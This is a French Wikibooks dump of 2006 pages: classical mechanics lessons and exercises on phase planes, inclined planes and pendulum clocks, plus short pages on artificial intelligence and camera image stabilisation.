tan²(s/a) qui donne: gT² : = 4π².a²/(Ho+H). ====démonstration de la formule==== La primitive fractionnaire 1/2 de la dérivée f'(x) est la dérivée 1/2 de f(x) (Théorème de réciprocité d'Abel); mais on peut opter pour une démonstration sans l'artillerie lourde ( des dérivées fractionnaires!); voici celle empruntée à Landau (on a pris g=1) : * remarquer que <math>\int_a^b \frac{dx}{\sqrt{(b-x)(x-a)} }= \pi</math> (penser à HM²= HA.HB, dans le triangle-rectangle AMB, inscrit dans le demi-cercle de diamètre AB : alors dx/HM = dφ ; d'où la réponse). * remarquer que T(H) s'écrit <math>T(H) = \int_0^H \frac{s'(z)dz}{\sqrt{H-z}}</math> , et donc * <math>\frac{T(H)} {\sqrt(h-H)} = \int_0^H (ds/dz) \frac{dz}{\sqrt{(h-H)(H-z)}}</math>, soit en intégrant sur la nouvelle variable H, de 0 à h, puis en intervertissant l'ordre d'intégration , d'abord en H , puis en z, l'obtention de la formule de réciprocité d'Abel. On pourra s'exercer avec les résultats précédents. ==Cuvettes non symétriques== Il suffit de remarquer avec Newton que seule importe la section du puits de potentiel V(x) par la droite d'énergie E. On se ramène alors, " à la Cavalieri", à un puits de potentiel symétrique. Sont de ce type : * le potentiel (1-2)(dit de Newton radial ou de Leibniz),-g²/x + h²/x² * le potentiel harmonique: g² x² +h²/x² * le potentiel de Lenard-Jones(6-12), * le potentiel interatomique dans une molécule diatomique, dit de Morse : U(x) = g²(2exp(x) + exp(-2x) -3 ) * le potentiel nucléaire : U(x) = g²/sh²x -h²/ch²x * Remarque : U(x)=-g².x^4 amène la particule à l'infini en un temps fini ; il est donc assez irréaliste d'avoir des telles forces répulsives. ====Remarque : supersymétrie==== à compléter éventuellement Les potentiels précités ne sont pas trouvés au hasard ; ils résultent plus ou moins d'une sorte de factorisation, déjà remarquée par Schrodinger en 1940, et puis retrouvée par Witten sous le nom de supersymétrie N=2, pour des besoins bien différents. Évidemment, il se trouve que l'oscillateur harmonique radial et l'atome de Rutherford en font partie. ====Formule de perturbation==== Très souvent en physique, le puits de potentiel est légèrement perturbé par l'adjonction d'un paramètre que l'on peut contrôler ( champ magnétique:effet Zeeman classique; champ électrique: effet Stark classique, etc.).Il est alors intéressant de savoir quelle est la nouvelle période T(H). La règle est la suivante : * soit le mouvement non perturbé s(t,H), de période T(H). Dans le plan de phase, l'orbite fermée, d'énergie H est décrite dans le sens rétrograde avec la période T(H) en enserrant une aire S(H),( en joule.seconde), appelée l'Action S(H). UN résultat classique de mécanique hamiltonienne est T(H) = dS/dH. * Soit le nouveau potentiel V(x) + k V1(x), où k est un réel sans dimension très petit. * soit k.S1(H) la petite action (en joule.seconde)= T(H).[moyenne temporelle de k V1(x)]. * La variation de période T1(H) est: <math>T_1(H) = - \frac{dS_1}{dE}</math>, avec E= 2gH. * si on veut le deuxième ordre, en k², il faudra rajouter : <math> (1/2!).k^2. \frac{d^2S_2(E)}{dE^2}</math> avec S2 (en joule².seconde) = T(H).[moyenne temporelle de k²V1²(x)]; etc. '''Application''': la formule de Borda du pendule simple est retrouvée: En effet , les calculs montrent que <math>T_1 =T_o \cdot \frac{\theta_o^2}{16}</math> On trouve aussi les formules du ressort mou , ou du ressort dur. On pourra aussi tester les développements limités des formules exactes des puits de potentiel précédents. ==Conclusion et Résumé == cette leçon sur le plan de phase est un des chapitres fondamentaux de la mécanique : Selon une analyse très fine de Poincaré, la mécanique classique ne dit rien d'autre : elle affirme qu'un point matériel sur une ligne est défini par le doublet [abscisse so et vitesse vo] et l'équation différentielle du premier ordre v(t) := ds/dt = f(s,t).L'orbite dans le plan de phase [s(t) et v(t)] représente TOUT l'état du système. Deux révolutions conceptuelles viendront modifier cette affirmation : l'une , pas trop difficile est celle de la relativité restreinte(1905). l'autre , la mécanique quantique( 1926) qui fera exploser cette notion d'orbite dans l'espace des phases en la remplaçant par des cheminements qui interfèrent, pour le dire vite. ==Exercices== Il y a évidemment des dizaines d'exercices sur le plan de phase , c'est à dire la résolution de d²x/dt² = g(x) ou ce qui est équivalent Ec + V(x) = Eo. On peut même dire un peu plus : plus on saura décrire les solutions dans le plan de phase , et plus on aura de maîtrise des équations différentielles. En particulier, il convient de maîtriser l'équation de Liénard : ===équation de Liénard=== d²x/dt² = g(x) - f(dx/dt) ou v.dv/dx = g(x) -f(v). A supposer qu'il existe une orbite fermée, il apparaît que somme sur l'orbite de -f(v) doit être nulle : cela donne un critère très puissant, puisque par ailleurs les orbites ne peuvent se couper. Si de plus g(x) = -x , v ne change pas le long de la courbe (C) x + f(v)=0 qu'il est donc intéressant de tracer ( les tangentes à l'orbite y sont horizontales); mais on peut dire plus : à droite de la courbe, v² diminue, et on peut donner la règle qui mène de M au point M' voisin et donc avoir une intuition assez précise de la forme de la courbe. Montrer que cette règle est la suivante: du point M tracer l'horizontale qui coupe (C) en L (point de Liénard); soit l'abscisse H du point L : alors MM' est perpendiculaire en M à HM. === Oscillateur à frottement solide=== Appliquer la méthode de Lienard à -f(v) = -a sgn(v). ==== Solution==== si a était nul , on trouverait x = Xo cos(t) et v = -Xo sin(t) , c'est à dire l'oscillateur de pulsation unité. S'il y a frottement a , la construction de Liénard montre immédiatement que les demi-cercles du demi-plan x >0 (resp x<0)sont centrés en A' (-a,0) (resp: A(a,0)). le tracé au compas s'en déduit, et s'arrête quand M se trouve dans le segment A'A : l'amplitude a diminué de 2a à chaque demi-oscillation : donc l'amplitude décroît linéairement avec le temps, ce qui est manifestement différent du cas -f(v) = -v/Q (oscillateur linéairement amorti): dans ce cas, le tracé qualitatif montre une orbite autosimilaire entre un point d'intersection haut L et un point bas L': la courbe ressemble donc à un escargot qui s'enroule vers le point O , ceci si Q est assez élevé : ceci sera retrouvé, dans l'étude des oscillateurs harmoniques amortis. === Chute libre avec résistance de l'air === L'existence des parachutes ( et l'expérience de ceux-ci date de bien avant Galilée) montre bien l'inanité de la loi z= 1/2.g.t². Quand un objet tombe dans l'air, outre le fait de décompter la légère poussée d'Archimède, il faut surtout "intuiter" la loi de Reynolds : celui-ci indiqua que pour une forme donnée et une texture de contact identique, alors la masse ou la densité du corps n'intervenait pas , et ce qu'il importait c'était de "fendre l'air" au mieux, pour une section apparente ( on parle du maître-couple S en m²) donnée : la résistance était alors du type : -Cx.a .S.v² , avec a la masse volumique de l'air et le Cx le coefficient dit aérodynamique du corps ( on a tous vu des casques de vélo!). Typiquement pour une sphère, Cx = 0.25 ; mais attention, pour une balle de golf alvéolée, il n'en va pas de même ! Idem des samares , ou des splendides fleurs de pissenlit: les regarder remplit d'émerveillement. les parachutes sont différents des parapentes , et le faucon différent de la buse.Etc. Par ailleurs la loi n'est pas rigoureuse, car si v devient très grand , il faut modifier le Cx! Néanmoins pour faire bref nous considèrerons ici seulement l'équation : d²x/dt² = g - k.v² : on appellera g/k = Vo² et la droite de Liénard sera v= Vo : Si le mobile part plus vite que Vo , il ralentira , jusqu'à cette valeur limite. Si le mobile part moins vite, il augmentera sa vitesse jusqu'à cette limite. ====Solution==== L'équation à résoudre est donc : 1/2 d(v²)/dx = g (1- v²/Vo²) ; Bien sûr , il apparaît naturel de mesurer x en fonction du paramère Vo²/g , ce qui ramène à 4dX/du = 2/(1-u²)= 1/(1+u) + 1/1-u, dont la primitive est connue : ce qui permet de tracer l'orbite. On peut aussi vouloir l'échelle temporelle : on résout de même : dV/dt' = (1-V²) en ayant pris t' = gt/Vo : d'où t' = 1/2 Ln(1+V)/(1-V), soit V = tanh( t') et puis X = Ln(cosh(t') : bien sûr , il faut vérifier qu'au début du mouvement v = gt et x = 1/2 .g.t² ! Du point de vue expérimental, tout dépendra donc de la précision voulue. Voici une méthode qui ne donne pas de mauvais résultats : changer de balle pour un même rayon ; changer l'air en gaz carbonique ou en hexafluorure de soufre dans le tube de Newton. On procède par la méthode de la dérivée discrète et on élimine le kv² : on recouvre ainsi une assez bonne valeur de g. === Exercice: montée puis chute=== On lance la balle avec la vitesse Vo vers le haut. Elle intercepte un premier faisceau lumineux horizontal puis au retour le même : durée T2 . Un peu plus haut elle a intercepté un deuxième faisceau : durée T1. La distance entre les faisceaux est d : trouver la valeur de g ====Solution ==== Si kv² est nul , la réponse est aisée : si on se place au point le plus haut , d1= 1/2 g (T1/2)², idem d2 : donc g = 8d/(T1²-T2²). Si on ne néglige plus kv² , il faut être prudent et écrire -kv².sgn(v) : l'équation différentielle à la montée n'est PLUS la même! C'est piègeux . En effet , dv/dt = -g (1 +k v²) donnera en coordonnées réduites : dV/dt' = -(1+V²) , V fera donc intervenir tan (t')et non plus tanh (t'). Et la formule décrite devient grossièrement fausse , car la montée et la descente ne mesurent pas des g-apparents que l'on pourrait déduire facilement. Une question délicate est: la balle met-elle plus ou moins de temps que Vo/g à descendre? On reste pris entre deux arguments contraires : certes elle va moins vite, mais elle descend de moins que zo = Vo²/2g ! Je ne vois pas comment faire autrement que par le calcul. Enfin , signalons ce résultat assez surprenant dans le cas de chute d'une sphère de masse M dans un superfluide ( donc de viscosité nulle): on peut oublier le superfluide et rajouter à M , la masse du fluide soit -a.(4/3)R. Pi.R² .dv/dt : ce joli résultat est dû à Greene vers 1838 : c'est un des premiers résultats de Renormalisation avant la lettre. Mécanique, enseignée via l'Histoire des Sciences, la chute ralentie sur plan incliné (Section4) 8727 46388 2006-06-28T19:28:22Z Guerinsylvie 928 /* Cercle osculateur de Huygens : */ Leçon : la chute ralentie le long d'un plan incliné Cette leçon est une des plus importantes du cours car on y présente la philosophie d'un physicien en action. Galilée eût l'"intuition" que pour une masse glissant sans frottement sur un plan incliné d'angle alpha , l'accélération était g .sin (alpha). Tout le reste est semblable aux paragraphes de la leçon chute libre avec a = g . [Note historique: il est évident qu'obtenir un glissement sans frottement est quasi-impossible. On se demande alors si Galilée a vraiment vérifié expérimentalement sa loi; bien sûr la notation g est un anachronisme, puisque les unités n'existaient pas encore à cette époque ; mais ce n'est pas cela qui est en cause ]. == Expérience de pensée == La loi : accélération = g. sin <math>\alpha </math> dite loi des cordes est typiquement une gedanken-loi . Voici pourquoi Galilée y "croyait" : imaginons 2 pistes de skate-board face à face d'angle différents <math>\alpha </math> et <math>\beta </math>. Imaginons qu'une planche de skate "soit comme" une luge sans frottement( les petites roues bien huilées servant à cela). Le planchiste partant du haut de la piste de gauche , nonobstant la résistance de l'air, remonte exactement de la même hauteur sur la piste de droite; pas plus disait Galilée, sinon il suffirait de mettre des pierres sur le skate , on monterait progressivement des pierres en recommençant, aussi haut que l'on voudrait, en allant de gauche à droite : cela se saurait depuis longtemps ! Mais pas moins, a dit Galilée: car s'il n'y a pas de frottement du tout, l'opération inverse se produisant, on pourrait amener les pierres plus haut de droite à gauche. La conclusion fût donc : il n'y a aucun moyen ( sans frottement) d'aller plus haut ou plus bas. Ce genre de "raisonnement" est très puissant. Il est gedanken , car il y a toujours la résistance de l'air à vaincre ; mais Galilée y avait déjà répondu : "je me place dans la situation idéale, où elle n'existe pas. Je ne dis pas que c'est possible, mais je l'imagine possible". Evidemment , en prenant <math>\beta </math> très petit, cela permet d'amener les pierres très loin à droite, et même très, très loin si <math>\beta </math> est très très petit, et même si <math>\beta </math> est nul , alors les pierres sont lancées à une vitesse Vo et ne peuvent pas s'arrêter : on dit qu'elles ont de l'INERTIE : toute personne qui a manipulé une brouette de terre le sait bien : en allant assez vite, avec la vitesse Vo , il pourra remonter , en gros, à la hauteur h = Vo²/2g , grâce à la quantité d'inertie ( cela s'appelle la masse en physique) de la brouette( et cela est très bizarre-et s'appelle la Loi de Galilée- indépendamment de la quantité d'inertie : cette apparente contradiction est choquante. C'est le grand mérite de Galilée d'avoir insisté sur ce point : il n'y a pas de contradiction!). Il faut que tout ceci , avec les lois du choc (leçon choc frontal) forme un système de lois auto-cohérentes : il restera à les vérifier expérimentalement, en se rapprochant aussi parfaitement que possible de ces conditions idéales. ====Aparté : La pensée philosophique de Galilée :==== Ainsi se présente Galilée : Je suis un philosophe des choses de la Nature ; je pense et je dialogue sur des idées et des concepts, et je vais aussi loin que je peux dans les conséquences MATHEMATIQUES de ce que je dis : s'il n'y a pas d'auto-contradiction , je continue , car cette construction , ce JEU de l'esprit est BEAU et m'enchante. Evidemment , cela n'est admissible que si l'expérience le CONFIRME. Un système auto-cohérent dans TOUT ce à quoi il peut conduire et que l'expérience confirme , voilà une partie du sens des DIALOGUES de Galilée en 1638. Certes, LORD IS SUBTLE (dixit Einstein):le Grand Horloger qui a minutieusement donné ce système de compréhension de la Nature à l'Homme est subtil . Même aujourd'hui encore , des physiciens imaginent des gedanken-experiments pour tester l'auto-cohérence de cette "re-présentation" du monde. Le monde existe avec ses Lois : le philosophe de la Nature doit mener une enquête très serrée pour les découvrir, "soulever un coin du voile" ; dans cette QUETE , les mathématiques l'aident beaucoup à les re-présenter. Les a priori aident très peu.Il faut de temps à autre les bousculer : jamais personne n'a vu une brouette lancée à Vo continuer éternellement à transporter ses pierres vers la droite ; et pourtant chacun sent bien, qu'on n'a pas à laisser un poids lourd chargé dans une descente : il y aura du dégât à l'arrivée, s'il ne peut freiner! on installe même sur les descentes d'autoroute des voies de dégagement pour cela. Cette tension permanente entre un réel épuré, re-construit et le réel vécu est LA caractéristique fondamentale du philosophe de la Nature : ces axiomes seront des Principes. S'ils s'avèrent auto-logiquement faux ou en contradiction avec l'expérience menée parfois de manière très sophistiquée dans des laboratoires spécialisés ( par exemple des tours à vide aussi vides que possible pour vérifier la loi de chute), alors il faudra ABANDONNER ces Principes , et les modifier de manière à obtenir une nouvelle présentation de la Nature, plus précise que la première. L'exemple est resté fort célèbre : après que Galilée eût énoncé cette manière de discourir, on a construit la mécanique ici décrite (dite newtonienne). En 1905 , Einstein a démontré qu'elle était logiquement fausse, pour le mouvement : aucune particule ne peut aller plus vite que la vitesse de la lumière ( et cela est parfaitement vérifié expérimentalement). Et il a rebâti toute une autre mécanique en 1905. La réaction fût la même que du temps de Galilée : on mît un "certain temps" à le croire , comme pour les dialogues et les discours de Galilée. Mais sa théorie était auto-cohérente, de très belle architecture et surtout expliquait mieux la Nature aux très grandes vitesses. Il a fallu abandonner certaines choses dites par Galilée , mais le schéme de base du raisonnement [ la tension entre le penser auto-cohérent re-présentant la Nature et l'expérience] n'a absolument jamais été remis en cause , bien au contraire : Galilée est ENCORE présent parmi nous. ==Résumé: loi des cordes : a = g.sin<math>\alpha </math>== == Exercices== En combinant les leçons 1 , 2 et 3 , il y a beaucoup de jolis exercices ; on supposera toujours qu'à la jointure entre deux plans inclinés, un alésage permet de passer la jointure sans perdre de vitesse. Il existe par exemple à la Grande Arche de la Défense à Paris des mécanismes donnant un mouvement périodique à une balle via un parcours d' Alexandre le Bienheureux, tout à fait jubilatoire à voir. ===Exercice-triangle_egyptien:=== Deux skieurs Tortor et Jeannot partent de D( départ) pour ariver en A(arrivée : T suit la piste rectiligne DA de longueur 5. Mais J est un fou de la glisse : il se laisse tomber quasi-verticalement de D en O ( DO = 3) , et glisse horizontalement selon OA = 4 : lequel arrive premier ? ===Parcours d'Alexandre le Bienheureux=== On convient d'appeler ainsi un parcours tel que chaque étape dure le même temps. Evidemment comme, dans la réalité, il y a un peu de frottement, un mécanisme extérieur érase la mémoire du premier tour et injecte la particule au début du parcours. En voici un assez jubilatoire: à vous de jouer! Un petit skate ( pour l'instant , on le considèrera comme un palet glissant sans frottement ; on verra la différence plus tard) est lancé à la vitesse Vo sur une voie horizontale de longueur a ; il met donc le temps T = a/Vo à la parcourir. Et voilà , c'est parti , à vous d'imaginer ce qui va arriver à ce petit esquif ! Un exemple : *il descend un plan incliné d'un petit angle alpha donné (enroulé en spirale (mais cela ne change rien ici)sur une hauteur h. *il arrive en terrain plat de longueur b , *remonte une piste de longueur c et arrive à la hauteur h/2 , *à nouveau un terrain plat de longueur d , *tombe dans le vide sur une plaque parfaitement rebondissante située en aval à la distance l et *rebondit dans un petit entonnoir et en sort sur un petit logement où il est bloqué, cette étape étant calibrée pour durer le temps T. *Un ascenseur le remonte en un temps T à la case départ où il sera lancé à la vitesse Vo. Sur ce rythme à 8.T , il continue perpétuellement : Calculer h , b , c , d ,l ====Solution du parcours d'Alexandre ==== * h /sin<math>\alpha </math> = 1/2. g .sin<math>\alpha </math>.T² * V1 = Vo +sqrt(2gh) ; donc b = V1.T * au bout de la piste c , sa vitesse sera V2 = V1- sqrt(2g.h/2); donc c = [(V1+V2)/2].T * d = V2.T * chute parabolique de vitesse horizontale V2 pendant le temps T :l =V2.T * rebond ,remontée , et rechute dans l'entonnoir pendant le temps T. *ascenseur durée T *soit 8.T Ludique , non ? Alors , on continue? === Exercice choc sur plans inclinés === Une descente inclinée d'angle 30°, raccordée à une montée d'angle beta dont le sinus vaut 1/4. Même hauteur h . A gauche un skate G de masse 2m , à droite un skate D de masse 3m , lachés de sorte que le choc ait lieu à droite à l'altitude h/2. Si le choc a un coefficient de restitution e= 1/2 , trouver l'altitude où remonte chaque skate. ==== Solution choc sur plans inclinés ==== Evidemment l'exercie est largement simplifié par les mots ["de sorte que"]! Alors G a une vitesse sqrt(gh)=Vo et D la vitesse opposée. La vitesse relative est donc 2Vo avant le choc et devient Vo après le choc. La conservation de l'impulsion donne alors , after le choc , Vg = -4/5.Vo et Vd = 1/5 .Vo ( on peut vérifier, la solution est unique !). Donc G remonte à gauche jusqu'à l'altitude h/2 +8/25 h = h(41/50); et D remonte à h/2+ 1/50 .h = 26/50 .h : l'effet sur le skate de Gauche est donc très spectaculaire.Evidemment, il y a eu perte d'énergie. ===Exercice:horloge de Torricelli=== Il s'agit tout simplement d'une cuvette symétrique formée de deux plans inclinés d'angle 30°, de hauteur h , de longueur 2h : un skate y glisse perpétuellement avec la période T = 4. sqrt(2.2h/(g/2)) = sqrt(h/g).8sqrt(2).Le vérifier. En fait, il faut maintenir la remontée à la hauteur h par une légère maneuvre du V , que l'on incline à droite dans la descente à droite et à gauche dans la descente à gauche, très légèrement. L'horloge est donc légèrement fausse, mais erreur de justesse n'est point grave : il suffit qu'elle soit régulière : pas d'irrégularité sur sa période T'(légèrement voisine de T), c'est tout ce qu'on demande à une horloge! == Horloge de Galilée == Galilée dès 1602 énonça une célèbre loi, dont on dit qu'il l'établit en regardant les oscillations des luminaires dans les églises. Effectivement, à la Sainte-Chapelle de Paris, par grand vent, on peut voir de telles oscillations; et on peut chronométrer leurs oscillations : elles ont toutes à peu près la même période , MEME si leur amplitude ( de qq centimètres !) est différente. Il s'agit de la très célèbre loi : le long d'une cuvette circulaire de rayon l , les petites oscillations ont pour période: <math> T = 2\pi \sqrt \frac{l}{g} </math> Evidemment , Galilée ne trouva pas cette formule ( les unités n'existaient pas, non plus que l'expression acclération de la pesanteur = g =~9.81 m/s²). C'est Huygens qui trouva le facteur 2Pi ; et enfin Galilée croyait que la formule était vraie pour toute amplitude "raisonnable", ce qui est "presque vrai" , donc FAUX. Un pas en direction de cette formule fût fait par Torricelli : il imagina que la cuvette était une succession infinie de plans inclinés. Nous reverrons ce problème un peu plus tard ( Leçon : diagramme des espaces). Néanmoins par ce type d'argument en choisissant convenablement les plans inclinés , on trouve des résultats approchés tels que Pi =~ 2+sqrt(2), ce qui n'est pas si mal, pour une théorie aussi simpliste. === Exercice : une horloge de Huygens(1609-1695) === Huygens avait parfaitement assimilé, enfant, les leçons de Torricelli. Il imagina une cuvette symétrique où la vitesse v(s) à la distance curviligne s du fond [donc v(s)= sqrt(v(0)² -2gh(s))] soit telle que v²(s) + w² s² = cste : une telle horloge est telle que s varie sinusoïdalement : s = a cos wt est solution : le vérifier! Il réalisa une telle horloge dont la période était exactement T =2Pi/w . malheureusement, elle aussi s'amortissait, et l'on revînt à l'horloge à balancier munie de son échappement à ancre (inventée elle aussi par Huygens, et qui est le principe des francs-comtoises). == Exercices deuxième série == === Auge de Torricelli:=== Il y a beaucoup de manière d'approcher un arc de cercle; voici celle de Torricelli:avancer horizontalement en A( a/2 ; 0) ; puis monter au point B(a ; h = a²/2R). Dessiner symétriquement l'autre demi-cuvette. Et calculer la période des oscillations. ====Solution-Auge :==== Soit V la vitesse atteinte après chute de B en A : le parcours AO dure t= a/2V = 1/2 .sqrt(R/g). Le parcours AB dure AB/[(V+0)/2] soit un peu plus que sqrt(R/g). Donc T = ~ 4.(3/2)sqrt(R/g) ; soit la valeur Pi = ~ 3 ! Ce n'est pas si mal pour une auge aussi rudimentaire. Galilée disait,lui, que le trajet de B en O durait 2 sqrt(R/g), soit Pi ~ 4 , car il prenait simplement la durée selon la corde BO, durée qui ne dépend pas de la corde et donc est valable pour la verticale! il est en contradiction manifeste avec l'expérience; car si B est très voisin de O sur le cercle, et qu'on lâche simultanément le mobile en B et le mobile en O' à la verticale de O - OO'= 2R, on imagine mal les voir arriver simultanément en O : 1> Pi/4 se voit aisément expérimentalement.Il est fréquent qu'un très grand physicien se trompe aussi , surtout quand une science est en train de naître.Mersenne fût un des premiers à signaler cette faute et à demander la valeur (2Pi), réponse qui ne sera fournie que par Huygens, plus tard. ===Cercle osculateur de Huygens :=== 30 ans après, les mathématiques des courbes ont beaucoup progressé grâce à Descartes, Fermat surtout. Huygens connaît le résultat : le cercle surosculateur au point O d'une courbe symétrique y = f(x) est R = x²/2f(x), x petit. Il connaît la période de SA cycloïde. Montrer qu'il peut en déduire la période des petites oscillations du pendule simple. Solution : soit O le point le plus bas de la cycloïde de Huygens: l'équation s'écrit x=~2a. u et y = a u²/2 . Donc R = 4a . Or SA période est 2Pi.sqrt(4a/g). Il l'identifie à la période du pendule circulaire de rayon R =4a. On a enfin le fameux facteur 2Pi. Remarque : à l'époque, on ne s'exprimait pas ainsi. On comparait un temps à un temps : celui par exemple de la chute libre selon une distance verticale 2R , t0 = 2.sqrt(R/g) et Mersenne avait posé la question de trouver par la théorie le rapport, qu'on savait proche de 2 + sqrt(2). De plus Mersenne avait soigneusement observé que la période des oscillations du pendule circulaire N'ETAIT PAS CONSTANTE : elle augmentait légèrement avec l'amplitude; Borda(1733-1799)donna bien plus tard la formule approchée : <math>T = T_0 [1 + \frac{\theta_0^2}{16}]</math>, l'élongation maximale exprimée en radian. La leçon sur le pendule explicitera tout cela. ===Pourquoi <math>\pi^2</math> =~g?=== Soit:pourquoi 9.8696 est-il proche de g = 9.81 m/s² ? La question peut paraître saugrenue, puisque g dépend des unités! Bonne pioche! c'est de ce côté-là qu'est la réponse. Réponse: du temps de la Révolution française fûrent jetées les bases d'un système de Poids et Mesures "pour tous les Temps, pour tous les Hommes" , selon la formule de Talleyrand( grand diplomate français,1754-1838). Il fallait pour une unité les qualités suivantes : * être pérenne * être universelle * être facilement accessible * être précise la longueur d'un pendule simple qui battrait la seconde fût envisagée. Et l'on savait grâce à la formule de Clairaut comment corriger de la variation de g avec la latitude. mais on savait que cette formule n'était pas exacte : il y avait quelque écart après corrections entre Londres, Paris et Postdam . On pensait la Terre de révolution : aussi par souci d'universalité, choisît-on le quart du méridien égal à 10 000 km par définition , ce qui était très proche de la longueur du pendule , d'où la réponse : si le mètre avait été la longueur du pendule on aurait eu g = Pi² par définition! Il n'en est donc fallu d'un décret. Cette définition via le méridien n'était malheureusement pas facilement accessible. On revînt à la longueur entre deux traits tracés sur une règle indilatable ( en platine iridié, à une température de 15°C). La règle fût placée au Pavillon du BIPM et servît pour fabriquer les étalons secondaires de toutes les nations jusqu'en 1959)( cf l'article S.I. dans la WP). Par rapport à cette règle , le méridien fait 40 007 km, car les physiciens n'avaient pas mieux comme précision sur ce méridien ! ===Jeu de Pistes === ( de réflexion! ). Soit une piste de ski verte rectiligne de pente alpha. Une débutante Tortor effectue la descente DA = L, schuss, en un temps T, puis parcourt sur le plat la longueur AB = 2L dans le même temps T, soit au total 2T. Jeannot pense plus astucieux de partir d= 10m plus haut.Il raisonne ainsi : certes, je partirai de D, après Tortor, avec un retard sqrt(2d/g'), mais ensuite en chaque point j'aurai une vitesse plus grande qu'elle , et je la dépasserai, peut-être pas en A , mais je suis sur de la dépasser dans le plat. Oui! mais à quelle distance Jeannot doit-il placer le poteau d'arrivée P ? Réponse QCM: AP = L/2 ; L ou 2L ? _ _ _ Réponse : AP = ... . Solution : L = 1/2.g'.T². Evidemment Jeannot se trouve exactement d = 10m derrière Totor avec la même vitesse, soit 2L/T , d'où son retard tau = d/(2L/T), mais avec une vitesse légèrement supérieure de 2L/T .(d/2L) = d/T : il ne comblera son retard qu'au bout du temps T, soit au bout de 2L de terrain plat !Donc AP= 2L! Ce qui est très surprenant, c'est que si d<<L , le résultat ne dépende pas de d [en réalité Jeannot double Tortor sur le fil en faisant le calcul complet]: en général, on évalue mal la performance de Jeannot (il faut dire qu'on skie rarement dans le vide !). Intelligence artificielle 8728 45522 2006-06-24T06:48:09Z Guillaumito 46 contenu déplacé depuis Catégorie:IA ==Introduction à l'intelligence artificiel== ==Système expert== Les systèmes experts sont très simples. Il s'agit de determiner une solution à partir d'une situation de départ en utilisant des règles. Ces règles constituent une base de connaissance. La situation de départ est stockée dans une base de fait. ==Programmation par contrainte== ==Réseau de neurones== Introduction Les PMC ==Blackboard== [http://fr.wikipedia.org/wiki/Intelligence_Artificielle l'IA dans la wikipedia] [http://gameai.com/ l'IA dans les jeux video] Photographie - 14 - Systèmes de stabilisation 8729 46647 2006-07-01T11:49:44Z Jean-Jacques MILAN 114 /* Stabilisation par déplacement du capteur */ {{Photographie}} {{Photo_14}} {{ébauche}} Parmi toutes les causes qui provoquent le flou de l'image, l'une des principales tient aux mouvements indésirables de l'appareil de prise de vue. Ces mouvements peuvent être dus à des vibrations liées au déplacement brutal des systèmes mobiles comme le miroir des appareils réflex, au vent qui peut agiter un appareil fixé sur un pied de rigidité insuffisante, ou le plus souvent aux contractions musculaires plus ou moins involontaires qui se produisent lorsque l'appareil est tenu à la main. La mise au point de ces systèmes est délicate car ils doivent pouvoir faire la différence entre un mouvement nécessaire et normal comme celui que l'on effectue lorsque l'on suit un sujet mobile et les mouvements aléatoires indésirables. La stabilisation est surtout intéressante avec les objectifs de longue focale qu'affectionnent les spécialistes de photographie sportive ou ornithologique. Elle permet d'opérer à main levée, avec des objectifs standards, à des vitesses considérées jusqu'ici comme inaccessibles, comme 1/15e ou 1/8e s. Cependant, non seulement elle ne fait pas de miracle lors de la photographie de sujets mobiles, mais elle peut même dans certains cas aggraver le flou ! Prenons pour exemple une photo faite au crépuscule, à main levée, dans une rue où circulent des passants. Sans stabilisation, on opérera par exemple à 1/30e s à f/4, une partie au moins du décor sera floue par suite d'un manque de profondeur de champ et les personnages mobiles seront légèrement flous à cause du temps de pose trop long. Avec stabilisation, on pourra utiliser d'autres réglages, par exemple 1/8e s à f/8, avec pour résultat une meilleure netteté du décor mais aussi un flou beaucoup plus important des personnages qui, pendant l'exposition, auront parcouru une distance quatre fois plus importante. Si les personnes constituaient le sujet principal, c'est évidemment raté : il vaudrait alors mieux s'en tenir à 1/30e s à f/4, avec la stabilisation, ce qui augmentera la netteté générale en réduisant le flou qui pourrait provenir des mouvements de l'appareil. Comme toute technique, celle-ci a des limites et doit toujours, pour en tirer le meilleur parti, être utilisée en toute connaissance de cause. Trois techniques principales existent actuellement : * stabilisation par voie informatique : elle est largement utilisée sur les camescopes et sur certains appareils numériques de bas de gamme, les données fournies par le capteur sont traitées avant d'être stockées, il n'y a aucun mouvement mécanique des éléments de l'appareil. * stabilisation au niveau de l'objectif : celui-ci comporte des éléments mobiles qui ont pour mission de déplacer l'image formée sur le capteur en sens inverse des mouvements indésirables. Lorsque cette solution est utilisée sur un appareil à objectifs interchangeables, elle n'est opérationnelle que si l'on utilise des objectifs stabilisés, évidemment plus onéreux que les modèles ordinaires. * stabilisation par déplacement du capteur : elle est plus compliquée à mettre en œuvre mais présente l'avantage de fonctionner quel que soit l'objectif monté sur l'appareil. === Stabilisation par traitement d'image === === Stabilisation par déplacement d'éléments optiques === === Stabilisation par déplacement du capteur === Les premiers appareils munis d'un tel système ont été commercialisés par [[Photographie - 40 - Minolta|Minolta]], puis par [[Photographie - 40 - Konica-Minolta|Konica-Minolta]] et enfin par [Photographie - 40 - Sony|Sony]] qui a repris cette dernière société. Le déplacement du capteur est réalisé par un ensemble de moteurs électriques à faible inertie capables de répondre de façon extrêmement rapide. La société [[Photographie - 40 - Pentax|Pentax]] propose un nouveau mode de stabilisation utilisant une commande électromagnétique directe permettant d'éviter les inconvénients liés à la présence de moteurs. Ce système, qui engendre moins de frottements, présenterait une meilleure fiabilité et une meilleure tenue à très basse température. Le déplacement du capteur n'est pas aussi petit que l'on pourrait le penser, puisqu'il atteint près de 10 mm. == Effets divers de la stabilisation == === Visée des appareils réflex === Si l'objectif est stabilisé, la visée se trouve également stabilisée et l'on gagne en confort. En revanche si la stabilisation se fait par déplacement du capteur, elle n'agit pas sur la visée. Modèle:Photo 14 8731 45570 2006-06-24T12:15:12Z Jean-Jacques MILAN 114 {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #FFFFE3" |- |<center>'''Plan du chapitre 14 - Netteté des images photographiques'''</center> * [[Photographie - 14 - Généralités|Généralités]] * [[Photographie - 14 - L'œil et la perception de la netteté|L'œil et la perception de la netteté]] * [[Photographie - 14 - Pouvoir séparateur des objectifs|Pouvoir séparateur des objectifs]] * [[Photographie - 14 - Fonction de transfert de modulation|Fonction de transfert de modulation]] * [[Photographie - 14 - Les émulsions et la reproduction des détails|Les émulsions et la reproduction des détails]] * [[Photographie - 14 - Netteté des images informatiques|Netteté des images informatiques]] * [[Photographie - 14 - Profondeur de champ|Profondeur de champ]] * [[Photographie - 14 - Systèmes de stabilisation|Systèmes de stabilisation]] |- |} <br> Photographie - Modèles 8732 45569 2006-06-24T12:13:48Z Jean-Jacques MILAN 114 * [[Modèle:Photographie]] * [[Modèle:Photo_01]] * [[Modèle:Photo_02]] * [[Modèle:Photo_03]] * 